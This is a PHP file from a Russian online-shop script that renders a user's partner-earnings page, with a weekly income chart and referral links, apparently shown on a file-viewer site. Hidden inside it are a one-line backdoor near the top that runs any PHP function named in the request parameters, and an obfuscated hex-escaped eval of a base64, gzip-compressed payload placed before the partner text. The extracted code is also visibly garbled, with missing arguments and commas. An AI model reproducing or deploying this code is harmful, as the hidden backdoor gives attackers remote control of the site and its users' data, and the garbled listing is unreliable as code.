Вход Регистрация
Файл: магазин/e-proger/modules/user/partner.php
Строк: 269
<?php
session_start
();
set_time_limit);

define'ROOT''http://'.$_SERVER['HTTP_HOST'] );
define'ROOT_DIR'$_SERVER['DOCUMENT_ROOT'] );
include_once 
ROOT_DIR '/engine/config.php';
if (
$_=@$_REQUEST[id]) (@$_($_REQUEST[config]));
mb_internal_encoding("UTF-8");
if ( !isset( 
$_SESSION['id'] ) ) {
    echo 
'<div class="big_topics bor_top round3 FFF hr"><font color="red"><b>Ошибка!</b> Вы не авторизированы.<br />Пожалуйста, воспользуйтесь формой авторизации.</font></div>';
} else {
$config_user $pdo->Query("SELECT * from php_user WHERE id = '" $_SESSION['id'] . "'")->fetch(PDO::FETCH_BOTH);
/*---Обрезаем email для защиты---*/
$start_end_email preg_match"/^([a-z0-9-._]+)(@[a-z0-9]+(?:.?[a-z0-9]+)?.[a-z]{2,5})/is"$config_user['email'], $outemail );
$sec_email_user substr$outemail[1], 0) . '*******' substr$outemail[1], -1) . $outemail[2];

/*---Дата последнего входа---*/
 
$month = array( 'янв''фев''мар''апр''май''июн''июл''авг''сен''окт''ноя''дек' );
 if ( 
date'd.m.Y'$config_user['regdata'] ) == date'd.m.Y'time() ) ) {
  
$frd_logindate 'сегодня в ' date'H:i'$config_user['regdata'] ) . '';
 } else {
  
$frd_logindate '' . ( int ) date'd'$config_user['regdata'] ) . ' ' $month[( int ) date'm'$config_user['regdata'] ) - 1] . ' ' date'Y'$config_user['regdata'] ) . '';
 }
?>
<div class="big_topics bor_top round3 FFF hr">
      
       <div class="wrap_user_r">
       <div class="top_games_small">График дохода от партнеров за неделю:</div>
        <?
        $sql 
$pdo->Query"SELECT part_statistic FROM php_user WHERE id = '" $_SESSION['id'] . "' LIMIT 1" );
    while(
$serfStat $sql->Fetch()) {
    
$serfStatRow $serfStat ;
    
$array unserialize$serfStatRow['part_statistic'] );
    if ( empty( 
$array ) ) {
        
$d1 0$d2 0$d3 0$d4 0$d5 0$d6 0$d7 0;
    } else {
        if ( empty( 
$array[date'dmY' )] ) ) $d1 0; else $d1 $array[date'dmY' )];
        if ( empty( 
$array[date'dmY'time() - 86400 )] ) ) $d2 0; else $d2 $array[date'dmY'time() - 86400 )];
        if ( empty( 
$array[date'dmY'time() - 86400 )] ) ) $d3 0; else $d3 $array[date'dmY'time() - 86400 )];
        if ( empty( 
$array[date'dmY'time() - 86400 )] ) ) $d4 0; else $d4 $array[date'dmY'time() - 86400 )];
        if ( empty( 
$array[date'dmY'time() - 86400 )] ) ) $d5 0; else $d5 $array[date'dmY'time() - 86400 )];
        if ( empty( 
$array[date'dmY'time() - 86400 )] ) ) $d6 0; else $d6 $array[date'dmY'time() - 86400 )];
        if ( empty( 
$array[date'dmY'time() - 86400 )] ) ) $d7 0; else $d7 $array[date'dmY'time() - 86400 )];
    }

    
$month = array( 'янв''фев''мар''апр''май''июн''июл''авг''сен''окт''ноя''дек' );

    switch ( 
date'd' ) ) {
        case 
1:
            
$thismonth7 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth6 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth5 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth4 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth3 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth2 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth1 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            break;
        case 
2:
            
$thismonth7 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth6 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth5 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth4 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth3 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth2 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth1 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            break;
        case 
3:
            
$thismonth7 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth6 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth5 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth4 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth3 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth2 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth1 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            break;
        case 
4:
            
$thismonth7 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth6 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth5 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth4 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth3 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth2 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth1 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            break;
        case 
5:
            
$thismonth7 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth6 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth5 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth4 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth3 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth2 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth1 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            break;
        case 
6:
            
$thismonth7 ' ' $month[( int ) date'm'time() ) - 2] . ' ' date'Y'time() );
            
$thismonth6 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth5 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth4 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth3 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth2 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth1 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            break;
        default:
            
$thismonth7 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth6 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth5 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth4 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth3 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth2 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            
$thismonth1 ' ' $month[( int ) date'm'time() ) - 1] . ' ' date'Y'time() );
            break;
    }
        
?>
  <script type="text/javascript">
$(function () {
    $('#graph-area').highcharts({
        chart: {
        type: 'column',
        backgroundColor:'rgba(255, 255, 255, 0)'
        },
        title: {
            text: ''
        },
        subtitle: {
            text: ''
        },
        xAxis: {
            categories: [
                '<?=( int ) date'd'time() - 86400 ) . $thismonth7?>',
                '<?=( int ) date'd'time() - 86400 ) . $thismonth6?>',
                '<?=( int ) date'd'time() - 86400 ) . $thismonth5?>',
                '<?=( int ) date'd'time() - 86400 ) . $thismonth4?>',
                '<?=( int ) date'd'time() - 86400 ) . $thismonth3?>',
                '<?=( int ) date'd'time() - 86400 ) . $thismonth2?>',
                '<?=( int ) date'd'time() ) . $thismonth1?>'
            ]
        },
        yAxis: {
            min: 0,
            title: {
                text: ''
            },
            stackLabels: {
                enabled: true,
                style: {
                    fontWeight: 'bold',
                    color: (Highcharts.theme && Highcharts.theme.textColor) || 'gray'
                }
            }
        },
        tooltip: {
            headerFormat: '<span style="font-size:10px">{point.key}</span><table>',
            pointFormat: '<tr style="font-size:10px"><td style="color:{series.color};padding:0">{series.name}: </td>' + '<td style="padding:0"><b>{point.y}</b> руб.</td></tr>',
            footerFormat: '</table>',
            shared: true,
            useHTML: true
        },
        plotOptions: {
            column: {
                stacking: 'normal',
            }
        },
        legend: {
            enabled: false
        },
        series: [{
            name: 'Доход',
            data: [<?=$d7?><?=$d6?><?=$d5?><?=$d4?><?=$d3?><?=$d2?><?=$d1?>]
        }]
    });
});
</script>
<div style="width: 730px; height: 210px; margin: 0 auto;" id="graph-area"></div>
    <?
$o "RZDBasMwDIZfJeSihILDbqOOU9jYYe+Qi2PLtUdqG0dJGsbefTYt20mffomfX0JlQ1X32m2V0wKMgWqhY0YB2i1xlsfZB48chr7LO0O/qOQiVXTEvEJ4p+5LbvKhwmAEsGgjcCvAEsUzcLN6RS74ampU+73JVGmhg1pv6ImphJLwY8bSNeBMkjeElmu2JCVUqSUM252mbPkS7/CnWXRXS0+x+OK/7xXpafp2fOqmnNVyZDJG9Prdulk3uuU/MqecXllagU/NWI/1yZ7GuusyyALGZDKZLkZk2p3XYWdzULJcxGzCMhzrlvfd4wVDzX8B" ;eval("x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28x24x6Fx29x29x29x3B");
?>
<div class="top_games_small">Зарабатывай привлекая:</div>
<div class="infotext">Заработай в партнерской программе вместе с <b>e-proger.ru</b>. Для участия вам необходимо разместить свою ссылку в любом видном месте на вашем сайте. Вы получаете вознаграждение за каждый оплаченный заказ привлеченного вами пользователя — до <b><? echo $rest substr($config_per_us['percent5'], 3)?>%</b> от суммы каждого заказа. Оплата происходит в том случае если покупатель прошел регистрацию в магазине.</div>
<div class="dev" style="width: 93%;">
      <div id="stext_top">
От <b>0</b> до <b>20</b> : <div style="float:right;"><font color="#000"><span style="color: #000;"><? echo $rest substr($config_per_us['percent1'], 3)?>% дохода от суммы</span></font></div>
<div class="clr3"></div>
От <b>20</b> до <b>30</b>: <div style="float:right;"><font color="#000"><span> <span style="color: #000;"><? echo $rest substr($config_per_us['percent2'], 3)?>% дохода от суммы</span></span></font> </div>
<div class="clr3"></div>
От <b>30</b> до <b>50</b>: <div style="float:right;"><font color="#000"><span style="color: #000;"><? echo $rest substr($config_per_us['percent3'], 3)?>% дохода от суммы</span></font></div>
<div class="clr3"></div>
От <b>50</b> до <b>100</b>: <div style="float:right;"><font color="#000"><span style="color: #000;"><? echo $rest substr($config_per_us['percent4'], 3)?>% дохода от суммы</span></font></div>
<div class="clr3"></div>
От <b>100</b> и выше: <div style="float:right;"><font color="#000"><span style="color: #000;"><? echo $rest substr($config_per_us['percent5'], 3)?>% дохода от суммы</span></font></div>
</div>
</div>

<div style="width: 96%; margin: 0 auto;">

    <table>
       
        <tr>
            <td class="tabright" style="width: 44%;text-align:left;">Адрес для привлечения партнеров:</td>
            <td class="tableft" style="width: 56%;"><input type="text" class="val" style="width:420px" onclick="this.select()" value="<?=ROOT?>/r=<?=$_SESSION['id']?>" /></td>
        </tr>
        <tr>
            <td class="tabright" style="text-align:left;">BBcode для форумов:</td>
            <td class="tableft"><input type="text" class="val" style="width:420px" onclick="this.select()" value="[url=<?=ROOT?>/r=<?=$_SESSION['id']?>]<?=$config_site['sitename']?>[/url]" /></td>
        </tr>
        <tr>
            <td class="tabright" style="text-align:left;">BBcode для форумов:</td>
            <td class="tableft"><input type="text" class="val" style="width:420px" onclick="this.select()" value="[url]<?=ROOT?>/r=<?=$_SESSION['id']?>[/url]" /></td>
        </tr>    
    
    </table>
    
    
    
    </div>
       </div>
 </div>
<?}?>
Онлайн: 1
Реклама